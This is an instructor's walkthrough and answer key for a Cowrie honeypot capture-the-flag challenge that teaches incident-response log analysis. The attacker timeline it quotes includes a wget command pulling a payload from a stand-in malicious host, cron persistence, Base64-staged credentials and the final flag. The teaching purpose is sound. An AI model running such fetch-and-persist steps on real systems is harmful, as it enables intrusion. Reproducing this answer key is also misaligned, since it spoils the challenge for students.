Cowrie Honeypot – CTF Instructions & Walkthrough

This document describes the complete solution path for the Cowrie Honeypot CTF challenge.

========== 1. Check Authentication Logs (Initial Compromise) ==========

Command: cat /var/log/auth.log

Findings: - Numerous failed SSH attempts (brute force) - Successful login using compromised account 'backup'

This indicates the attacker gained entry through password spraying.

========== 2. Check System Logs (Attacker Timeline) ==========

Command: cat /var/log/syslog

Look for attacker actions: - wget http://malware.evil/update-system - chmod +x /usr/local/bin/update-system - Creation of cron persistence: /etc/cron.d/sys-update - Reading of /home/student/notes.txt - Writing Base64 payload to /tmp/.cache/.data.b64 - Running /usr/local/bin/update-system

These show malware installation + automated data exfiltration.

========== 3. Extract & Decode the Base64 Staging File ==========

Commands: cat /tmp/.cache/.data.b64 echo "YmFkX2NyZWRlbnRpYWxzPTRmMzJmMzQzZjMyCg==" | base64 -d

Output: bad_credentials=4f32f343f32

This reveals stolen credentials staged for exfiltration.

========== 4. Review the Malware Script ==========

Command: cat /usr/local/bin/update-system

The script reveals: - It copies a hidden exfil flag from: /usr/share/.cache/.system/.exfil_flag

- Then it places the staged data into: /tmp/.cache/.exfil

This is the attacker's exfiltration path.

========== 5. Retrieve the Real Hidden Flag ==========

Command: cat /tmp/.cache/.exfil

Final output: flag{intrusion-chain-master}

This is the real CTF flag.

========== Challenge Flow (Student Expected Path) ==========

Students must: 1. Identify compromise via logs. 2. Follow the attacker’s timeline in syslog. 3. Decode exfil staging data. 4. Reverse malware behavior. 5. Locate hidden flag in exfil path.

This ensures actual IR-style investigation rather than random guessing.

========== Instructor Notes ==========

Purpose of challenge: - Teach Linux log analysis - Show persistence techniques (cron) - Show simple malware behavior - Practice Base64 decoding - Practice file system investigation - Demonstrate attacker exfil paths

All malicious behavior is simulated inside Cowrie (safe).

========== End of Documentation ==========